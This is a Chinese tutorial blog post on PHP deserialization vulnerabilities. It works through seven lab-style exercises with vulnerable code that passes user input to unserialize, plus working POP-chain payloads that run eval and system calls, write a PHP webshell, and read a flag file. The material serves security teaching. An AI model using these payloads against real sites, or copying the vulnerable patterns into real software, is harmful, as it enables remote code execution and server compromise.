IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 从0到1之php反序列化的成长之路 -> 正文阅读

[PHP知识库]从0到1之php反序列化的成长之路

作者:recommend-item-box type_blog clearfix

简介

好好学习,天天向上

反序列化漏洞,是比较难搞定的漏洞,因为想要玩转反序列化漏洞,就要懂编程懂语言懂逻辑,抛开了开发,反序列化如纸上谈兵,看完了B站蜗牛学苑的php反序列化课程,深有感触,一定要总结一下,想要拿下反序列化,一定要有两点:1,面向属性编程的思维,2.一步一步跟踪代码逻辑的耐心

初识

牢记这两句话,反序列化没有那么可怕

序列化,将对象转换成特定格式字符串保存
反序列化,将特定格式字符串转成对象使用

既然不能脱离开发,先来两行php代码(后面的代码请各位自行把php开头结尾标签加上)用phpstudy发布

虽然只有短短两行代码,已经足以说明问题了$string_object是一个变量也就是对象,有人会有疑问:这不是字符串吗,当然是字符串,但是字符串也是String类的一个对象啊,所以对这个对象进行序列化

$string_object = "string";
echo serialize($string_object);

在这里插入图片描述

在这里插入图片描述

s:6:"string";
s代表着是个字符串,值有6位,string
序列化后,这个对象变成s:6:"string";保存起来了

方便理解我们再换一个整型,i代表int型,不过好像没有长度,直接就是值

$int_object = 10086;
echo serialize($int_object);

在这里插入图片描述

再换个数组

$array_object = array("first", "second", "third");
echo serialize($array_object);
a:3:{i:0;s:5:"first";i:1;s:6:"second";i:2;s:5:"third";}
a代表是数组,3代表有3个元素,花括号里面的i就是下面,下表为0的s就是字符串,有5位,是first,以此类推

在这里插入图片描述

那么既然有序列化,也就有反序列化

$array_object_string = 'a:3:{i:0;s:5:"first";i:1;s:6:"second";i:2;s:5:"third";}';
$array_object = unserialize($array_object_string);
var_dump($array_object);

在这里插入图片描述

在这里插入图片描述

常见函数

先把php反序列化会用到的函数,死记硬背,牢牢记在心里

方法名作用
__construct构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup()使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep()使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct()对象被销毁时触发
__call()在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set()在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset()当对不可访问属性调用isset()或empty()时触发
__unset()当对不可访问属性调用unset()时触发
__invoke()当脚本尝试将对象调用为函数时触发

记住这张表,后面会经常使用

接下来看着下面的代码思考,当执行$car = new Car();的时候,会有哪些输出?

答案是正在初始化和正在释放资源,为什么呢?创建了一个对象就会执行这个类的构造函数,所以会输出正在初始化,接着很快的,我们没有使用这个对象car ,所以php就认为car 已经用完了,改回收了,就会执行析构函数,输出正在释放资源

class Car {
    var $name = ''; 
    var $price = '';

    // 魔术方法:__construct,指类在实例化的时候会,自动调用
    function __construct($name='劳斯莱斯', $price='350达不溜') {
        $this->name = $name;
        $this->price = $price;
        echo "正在初始化. <br/>";
    }

    // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用
    function __destruct() {
        echo "正在释放资源. <br/>";
    }

    // 魔术方法:__sleep,在类实例被序列化时,自动调用
    function __sleep() {
        echo "正在序列化. <br/>";
        // 返回一个由序列化类的属性名构成的数组
        return array('name', 'price');
    }

    // 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用
    // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct
    function __wakeup() {
        echo "正在被反序列化. <br/>";
    }
}

$car = new Car();

在这里插入图片描述

如果我再加一句,会有怎样的输出呢?

在上面的基础上,继续输出正在序列化,并且输出序列化后的结果,可以这样理解,对象要序列化,说明暂时不用呗,那就准备睡觉

class Car {
    var $name = ''; 
    var $price = '';

    // 魔术方法:__construct,指类在实例化的时候会,自动调用
    function __construct($name='劳斯莱斯', $price='1/4爽达不溜') {
        $this->name = $name;
        $this->price = $price;
        echo "正在初始化. <br/>";
    }

    // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用
    function __destruct() {
        echo "正在释放资源. <br/>";
    }

    // 魔术方法:__sleep,在类实例被序列化时,自动调用
    function __sleep() {
        echo "正在序列化. <br/>";
        // 返回一个由序列化类的属性名构成的数组
        return array('name', 'price');
    }

    // 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用
    // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct
    function __wakeup() {
        echo "正在被反序列化. <br/>";
    }
}

$car = new Car();
echo serialize($car) . "<br>"

在这里插入图片描述

如果是反序列化呢,会输出什么呢?

1.反序列化,被保存成字符串的对象要醒来了,要将其从字符串转为对象,所以是正在被反序列化,对象用完后自然要调用析构函数,也就会输出正在释放资源,注意,这里没有输出正在初始化,所以记住,构造函数只有在new时候会调用,我们即使通过反序列化弄出来一个对象,也不会调用构造函数

2.通过修改序列化的字符串,导致这个对象在反序列化后,属性被修改了,这就是我们后面会经常提到的面向属性编程

class Car {
    var $name = ''; 
    var $price = '';

    // 魔术方法:__construct,指类在实例化的时候会,自动调用
    function __construct($name='劳斯莱斯', $price='1/4爽达不溜') {
        $this->name = $name;
        $this->price = $price;
        echo "正在初始化. <br/>";
    }

    // 魔术方法:__destruct,代码运行结束时,类的实例从内存中释放时,自动调用
    function __destruct() {
        echo "正在释放资源. <br/>";
    }

    // 魔术方法:__sleep,在类实例被序列化时,自动调用
    function __sleep() {
        echo "正在序列化. <br/>";
        // 返回一个由序列化类的属性名构成的数组
        return array('name', 'price');
    }

    // 魔术方法:__sleep,在字符串被反序列化成对象时,自动调用
    // 反序列化时不会自动调用__construct,同时,调用完__wakeup后,仍然会调用__destruct
    function __wakeup() {
        echo "正在被反序列化. <br/>";
    }
}

// $car = new Car();
// echo serialize($car) . "<br>"
$car_string = 'O:3:"Car":2:{s:4:"name";s:12:"栾博基尼";s:5:"price";s:7:"0.01爽";}';
$car = unserialize($car_string);
var_dump($car);

在这里插入图片描述

是否可以找到点感觉呢?

实战

例1

新手村之牛刀小试-1

<?php

// 存在漏洞的PHP代码
class USDemo {
    var $code;
    function __wakeup() {
        $this->code = "echo 'Hello';";
    }
    function __destruct() {
        @eval($this->code);
    }
}
$test = unserialize($_GET['code']);

?>
不着急做,先来分析一下代码,其实反序列化分析代码,可以从起点到终点,也可以从终点到起点,两种方式都要会,我比较倾向于从终点到起点,终点很显然是@eval($this->code),@eval()可以查一下,这个可以执行php的内置函数,比如phpinfo();,如果$this->code的值是phpinfo(),就会执行输出php的信息,要想这行这里,就要找到谁会调用__destruct(),反序列化的时候会调用__wakeup()和__destruct(),那就简单了,如果unserialize($_GET['code']);

从get请求中接收参数,将参数的值反序列化,结案$_GET['code']这里从get请求要接收一个序列化后的内容,然后把USDemo的$code属性注入phpinfo

创建另一个php,开始构造payload,生成序列化数据,php标签自行添加

class USDemo {
    var $code;
}

$usdemo = new USDemo();
$usdemo->code = "phpinfo();";
echo serialize($usdemo);

生成一段序列化的字符串

O:6:"USDemo":1:{s:4:"code";s:10:"phpinfo();";}

在这里插入图片描述

作为参数,传入

在这里插入图片描述

跟踪代码,可知,第八行已被改为执行phpinfo();

在这里插入图片描述

例2

新手村之牛刀小试-2

class Test {
    public $phone = '';
    var $ip = '';

    public function __wakeup () {
        $this->getPhone();
    }

    public function __destruct() {
        echo $this->getIp();
    }
    
    public function getPhone() {
        // echo $this->phone;
        @eval($this->phone);
    }

    public function getIp() {
        echo $this->ip;
    }
}


$source = $_POST['source'];
$p2 = unserialize($source);

从终点开始

终点是80行的eval,eval的参数是phone,phone是这个类的属性,所以我们要注入这个属性,eval在getPhone()调用,getPhone()在wakeup调用,所以没问题了

在这里插入图片描述

构造payload,复制Test类,只改属性的值,把phone改为phpinfo();

这里改属性方法太多了,可以new完复制,可以在定义的时候写死,或者价格构造方法,都可以,只要改掉这个值即可

class Test {
    public $phone = 'system("calc");';
}
echo serialize(new Test());

生成

O:4:"Test":1:{s:5:"phone";s:15:"system("calc");";}

在这里插入图片描述

通过POST发送

在这里插入图片描述

例3

过了新手村,我们来几道硬菜

class Demo {
    private $a;
    function __construct() {
        $this->a = new Test();
    }

    function __destruct() {
        $this->a->hello();
    }
}

class Test {
    function hello() {
        echo "Hello World.";
    }
}

class Vul {
    protected $data;

    function hello() {
        @eval($this->data);
    }

    function __call($name, $args) {
        $this->hi();
    }

}

unserialize($_GET['code']);

这道题有Test事情吗?没有的,我们调用链根本不用到Test,所以面向属性编程需要三步走

1.反序列化的对象一定要是类Demo的
2.把Demo类的$a赋值为类Vul的对象
3.把类Vul的$data赋值为phpinfo();

在这里插入图片描述

这里注意,和之前不太一样的是牵扯到了多个类,所以要用url编码就不能直接输出序列化后的了,先序列化,再url编码,否则就会报错

class Vul {
    protected $data = "phpinfo();";
}

class Demo {
    private $a;
    function __construct() {
        $this->a = new Vul();
    }
}

echo serialize(new Demo()) . "<br>";
echo urlencode(serialize(new Demo()));

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

例4

class Template {
    var $cacheFile = "cache.txt";
    var $template = "<div>Welcome back %s</div>";

    function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    function loadData($data) {
        return unserialize($data);
        return [];
    }

    function createCache($file = null, $tpl = null) {
        $file = $file ?: $this->cacheFile;
        $tpl = $tpl ?: $this->template;
        file_put_contents($file, $tpl);
    }

    function render($data) {
        echo sprintf($this->template, htmlspecialchars($data['name']));
    }

    function __destruct() {
        $this->createCache();
    }
}
new Template($_COOKIE['data']);

这次我们从入口开始跟踪代码

31行,创建Template的对象,传入一个参数,这个参数是从cookie中传入,那简单我们到时候直接bp改cookie的参数就好了
7行,既然是创建对象,自然会走到__construct()方法,这一行$data就是我们通过cookie传入的参数
8行,先调用loadData()方法,把上一行的$data传入,再将这个方法执行的结果赋值给$data,有点绕,不过逻辑并不复杂,我们需要先进入loadData()
12-13行,直接在13行对$data反序列化,也就是我们通过cookie传入的参数反序列化,然后直接return了,也就是说,14行的return []永远不会执行,是迷惑
8行,执行完后,将反序列化后的对象返回给这个$data,这里反序列化谁呢?其实答案很明显,整个题里就一个类Template,显然反序列化针对的依旧是这个类,这里要注意,首先是31行的new进行了一次类的实例化,在这层里面,又进行了反序列化,反序列化也是这个类,那么此时我们就不用再跟进第一层new的实例化过程了,因为我们无法注入参数,没有意义,所以我们需要考虑从13行反序列化的链
9行,不要被迷惑了,上面已经说了,第一层的new帮我们找到13行的unserialize($data)后,已经没用用处了,直接从第二层的反序列化后的链跟踪就行了,因为反序列化后,一定会执行__destruct(),__destruct()里调用了createCache(),我们就要从17行继续了
17行,$file和$tpl默认值都是空
18-19行,由于17行默认值都是空,所以三元运算的赋值结果是$file = $this->cacheFile,$tpl = $this->template
20行,将$tpl作为文件内容写入$file作为的文件名的文件中,这下就豁然开朗了,这就是让写webshell嘛,那就是说$this->cacheFile和$this->template也就是本类的两个属性,在构造反序列化poc的时候要修改成webshell

运行完20行,会再回到第一层,第一层是啥我们不在乎,想跟踪的可以打断点,但是注意一点,再回到第一层的时候,我们之前跟踪到了9行其实就没必要跟踪下去了,但是这个题有意思的就在这里,从9行定位到了23行,,在24行,出现了$data['name'],如果$data不是一个数组的话,$data['name']就会报错,导致程序中止,由于这里的执行是在反序列化的__destruct()前,所以还需要确保$data是一个数组,也就是说8行$data赋值为数组,也就是说12行的loadData(),return的是一个数组,那么在构造poc的时候要先变成数组,再序列化,这一点我会先演示错误的示范

在这里插入图片描述

先执行这个

class Template {
    var $cacheFile = "./shell.php";
    var $template = '<?php @eval($_POST["code"]); ?>';
}

$template = new Template();
echo urlencode(serialize($template));

在这里插入图片描述

使用firefox修改cookie,报错说必须是array

在这里插入图片描述

所以这里我们必须把对象放入数组后再序列化

class Template {
    var $cacheFile = "./shell.php";
    var $template = '<?php @eval($_POST["code"]); ?>';
}

$template = new Template();
$array = array($template);
echo urlencode(serialize($array));

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

写入后,自然就可以访问这个php了,这个url转码把空格转成+,不过我们这里手动把+改为%20

在这里插入图片描述

在这里插入图片描述

这道题里面出现了N次 d a t a ,所以要弄清这个 data,所以要弄清这个 data,所以要弄清这个data什么时候是形参,什么时候是实参,什么时候是方法里面的局部变量

例5

class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}

class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}

if(isset($_GET['zoo'])){
    @unserialize($_GET['zoo']);
}
else{
    $a = new Monkey;
    echo "Hello!";
}

代码比较长,我们分成两段分析,还是先找终点,明显终点在10行的eval

10行,如果想要执行eval,第一,value得是类属性可控、第二,要找到谁调用第9行boss()
12行,会在13行调用boss()并且传入$var,$var是本类属性可控,之前的疑问解决了,新疑问来了,哪里会调用这一行的__invoke()
__invoke:将对象调用为函数时触发,那也就是说如果谁将Tiger的对象当成函数用就会触发这里,找来找去24行有点像
23行,将本类的tail赋值给$function
24行,将变量后面加了个看似像方法的(),那也就是说如果$this->tail是Tiger的一个对象,在这里就会当成方法来使用,这种方式没见过,有待商榷,这是我们需要验证的,称之为【猜想一】吧,那么新的问题又来了,哪里会调用这个22行的__get()呢
__get:读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性),也就是说要找到另外一个地方调用了类Lion中不存在的属性值会调用这里,找来找去也只有下图

在这里插入图片描述

上书说道,找属性调用,51行最像属性调用了,连续两个->
51行,$this->nice,这个明显是找到了本类里面的$nice,再往下找nose的话,$nice本身并没有nose,可以说跟nose没有半毛钱关系,但是如果,$this->nice或者说是$nice被注入成了Lion的对象,Lion类没有nose属性,那不就调用上面说的__get()了吗,但是能不能这样用,是另外一回事,假设能这样用并称之为【猜想二】
上面的问题解决了,新的问题又双叒叕来了,怎么调用51行,那得找调用50行的地方,打眼一看没有直接调用__toString()的
__toString:当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
那当下就是要找把Elephant的对象能当成字符串用的,找来找去在36行的正则匹配方法里preg_match(),这个方法都知道是正则的串匹配,既然是串匹配,问题就好解决了
36行,$this->head正常情况下应该是个源串,但是如果$this->是Elephant的对象不就把他当成字符串用了,不就调用toString了,前提是可以这样用,我们称之为【猜想三】,万事俱备,只差能调用Monkey的地方了,看到56行,那我们最后构造poc就构造Monkey对象的序列化串就好了啊

在这里插入图片描述

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索 subject 与 pattern 给定的正则表达式的一个匹配。

参数说明:

$pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags:flags 可以被设置为以下标记值:
PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

返回值
返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

在这里插入图片描述

理论上是可以的,前提是留给我们的三个猜想都需要达成,其实在研究反序列化的时候,会经常遇见这种类似“猜想”的情况,我们要做的就是遇见了,立马右键新建一个test.php把这个“猜想”进行验证,我这里是知道答案,而且不中断代码讲解,所以才留到最后统一验证,一定要边思考边验证边跟踪

【猜想一】
A类的对象a,将对象a使用a()的方式调用,会调用A类的__invoke()方法

在这里插入图片描述

【猜想二】
B类有属性attribute,B类的对象b调用c属性,会调用B类的__get()方法

在这里插入图片描述

【猜想三】
C类的对象c作为preg_match()的前两个string类型的参数时,会调用C类的__toString()方法

在这里插入图片描述

三个猜想都验证完毕,直接上poc了

class Tiger{
    protected $var = "phpinfo();";
}

class Lion{
    public $tail;

    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nice;

    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

echo serialize(new Monkey());

在这里插入图片描述

在这里插入图片描述

例6

轻松一下,来做个送分题,例5和例6都做出来了,这道题简直就是白给

class start_gg {
    public $mod1;
    public $mod2;
    public function __destruct() {
        $this->mod1->test1();
    }
}
class Call {
    public $mod1;
    public $mod2;
    public function test1() {
        $this->mod1->test2();
    }
}
class funct {
    public $mod1;
    public $mod2;
    public function __call($test2,$arr) {
        $s1 = $this->mod1;
        $s1();
    }
}
class func {
    public $mod1;
    public $mod2;
    public function __invoke() {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1 {
    public $str1;
    public $str2;
    public function __toString() {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag {
    public function get_flag() {
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}
$a = $_GET['string'];
unserialize($a);

过于简单了

在这里插入图片描述

class start_gg {
    public $mod1;

    public function __construct() {
        $this->mod1 = new Call();
    }
}
class Call {
    public $mod1;

    public function __construct() {
        $this->mod1 = new funct();
    }
}
class funct {
    public $mod1;

    public function __construct() {
        $this->mod1 = new func();
    }
}
class func {
    public $mod1;

    public function __construct() {
        $this->mod1 = new string1();
    }
}
class string1 {
    public $str1;

    public function __construct() {
        $this->str1 = new GetFlag();
    }
}
class GetFlag {}

echo urlencode(serialize(new start_gg()));

在这里插入图片描述

在这里插入图片描述

例7

class Read {
    public $var;
    public function file_get($value) {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show {
    public $source;
    public $str;
    public function __construct($file='index.php') {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString() {
        $this->str['str']->source;
        return "";
    }
    public function _show() {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup() {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test {
    public $p;
    public function __construct() {
        $this->p = array();
    }
    public function __get($key) {
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello'])) {
    unserialize($_GET['hello']);
}
else {
    $show = new Show('index.php');
    $show->_show();
}

这道题目标是读取flag.php文件,这个文件内容如下

E10ADC3949BA59ABBE56E057F20F883E

在这里插入图片描述

9行,显然终点在Read类的9行方法体内,会在10行调用5行的方法读取文件,在11行输出,那么$var就应该是文件名,找调用invoke的地方,找到了熟悉的46行
46行,又把对象当成方法用,那就是$p就应该是Read的对象了,哪里调用这个get呢,找到了21行的toString,那么$this->str['str']应该是Test的对象,哪里会调用toString,注意,这里是一个坑点,我就在这翻车了,打眼一看32行的wakeup不就直接调用了preg_match(),那么$this->source应该是new Show()

在这里插入图片描述

按照上面的分析,poc应该这么写

class Read {
    public $var;

    public function __construct() {
        $this->var = "./flag.php";
    }
}
class Show {
    public $source;
    public $str;

    public function __construct() {
        $this->source = new Show();
        $this->str = array("str"=>new Test());
    }
}
class Test {
    public $p;
    public function __construct() {
        $this->p = new Read();
    }
}

urlencode(serialize(new Show()));

但是当我执行的时候,出现无线递归,那是因为Show类的构造方法里,一直在new Show(),那么不就无线循环了

在这里插入图片描述

所以poc里还不能把source进行赋值,需要先new好,再给source传对象

class Read {
    public $var;

    public function __construct() {
        $this->var = "./flag.php";
    }
}
class Show {
    public $source;
    public $str;

    public function __construct() {
        $this->str = array("str"=>new Test());
    }
}
class Test {
    public $p;
    public function __construct() {
        $this->p = new Read();
    }
}

$show = new Show();
$show->source = $show;

echo urlencode(serialize($show));

在这里插入图片描述

在这里插入图片描述

附件

所有用到的代码如下

漏洞代码

<?php

// 存在漏洞的PHP代码
/*
class USDemo {
    var $code;

    function __destruct() {
        @eval($this->code);
    }
}
$test = unserialize($_GET['code']);
*/


/*
class Test {
    public $phone = '';
    var $ip = '';

    public function __wakeup () {
        $this->getPhone();
    }

    public function __destruct() {
        echo $this->getIp();
    }
    
    public function getPhone() {
        // echo $this->phone;
        @eval($this->phone);
    }

    public function getIp() {
        echo $this->ip;
    }
}

$source = $_POST['source'];
$p2 = unserialize($source);
*/



/*
class Demo {
    private $a;
    function __construct() {
        $this->a = new Test();
    }

    function __destruct() {
        $this->a->hello();
    }
}

class Test {
    function hello() {
        echo "Hello World.";
    }
}

class Vul {
    protected $data;

    function hello() {
        @eval($this->data);
    }

    function __call($name, $args) {
        $this->hi();
    }

}

unserialize($_GET['code']);
*/


/*
class Template {
    var $cacheFile = "cache.txt";
    var $template = "<div>Welcome back %s</div>";

    function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    function loadData($data) {
        return unserialize($data);
        return [];
    }

    function createCache($file = null, $tpl = null) {
        $file = $file ?: $this->cacheFile;
        $tpl = $tpl ?: $this->template;
        file_put_contents($file, $tpl);
    }

    function render($data) {
        echo sprintf($this->template, htmlspecialchars($data['name']));
    }

    function __destruct() {
        $this->createCache();
    }
}
new Template($_COOKIE['data']);
*/

/*
class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}

class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}

if(isset($_GET['zoo'])){
    @unserialize($_GET['zoo']);
}
else{
    $a = new Monkey;
    echo "Hello!";
}

*/


/*
class start_gg {
    public $mod1;
    public $mod2;
    public function __destruct() {
        $this->mod1->test1();
    }
}
class Call {
    public $mod1;
    public $mod2;
    public function test1() {
        $this->mod1->test2();
    }
}
class funct {
    public $mod1;
    public $mod2;
    public function __call($test2,$arr) {
        $s1 = $this->mod1;
        $s1();
    }
}
class func {
    public $mod1;
    public $mod2;
    public function __invoke() {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1 {
    public $str1;
    public $str2;
    public function __toString() {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag {
    public function get_flag() {
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}
$a = $_GET['string'];
unserialize($a);

*/

class Read {
    public $var;
    public function file_get($value) {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show {
    public $source;
    public $str;
    public function __construct($file='index.php') {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString() {
        $this->str['str']->source;
        return "";
    }
    public function _show() {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup() {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test {
    public $p;
    public function __construct() {
        $this->p = array();
    }
    public function __get($key) {
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello'])) {
    unserialize($_GET['hello']);
}
else {
    $show = new Show('index.php');
    $show->_show();
}

?>

poc代码

<?php

/*
class USDemo {
    var $code;
}

$usdemo = new USDemo();
$usdemo->code = "phpinfo();";
echo serialize($usdemo);
*/



//basic
/*
class Test {
    public $phone = 'system("calc");';
}
// echo urlencode(serialize(new Test()));
echo serialize(new Test());
*/



//ustest-1
/*
class Vul {
    protected $data = "phpinfo();";
}

class Demo {
    private $a;
    function __construct() {
        $this->a = new Vul();
    }
}

echo serialize(new Demo()) . "<br>";
echo urlencode(serialize(new Demo()));
*/




//ustest-2
/*
class Template {
    var $cacheFile = "./shell.php";
    var $template = '<?php @eval($_POST["code"]); ?>';
}

$template = new Template();
$array = array($template);
echo urlencode(serialize($array));
*/

//untest-3
/*
class Tiger{
    protected $var = "phpinfo();";
}

class Lion{
    public $tail;

    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nice;

    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

echo urlencode(serialize(new Monkey()));
*/

//untest-4

/*
class start_gg {
    public $mod1;

    public function __construct() {
        $this->mod1 = new Call();
    }
}
class Call {
    public $mod1;

    public function __construct() {
        $this->mod1 = new funct();
    }
}
class funct {
    public $mod1;

    public function __construct() {
        $this->mod1 = new func();
    }
}
class func {
    public $mod1;

    public function __construct() {
        $this->mod1 = new string1();
    }
}
class string1 {
    public $str1;

    public function __construct() {
        $this->str1 = new GetFlag();
    }
}
class GetFlag {}

echo urlencode(serialize(new start_gg()));
*/


class Read {
    public $var;

    public function __construct() {
        $this->var = "./flag.php";
    }
}
class Show {
    public $source;
    public $str;

    public function __construct() {
        $this->str = array("str"=>new Test());
    }
}
class Test {
    public $p;
    public function __construct() {
        $this->p = new Read();
    }
}

$show = new Show();
$show->source = $show;

echo urlencode(serialize($show));

?>
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-17 12:12:45  更:2022-10-17 12:13:00 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/22 19:32:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码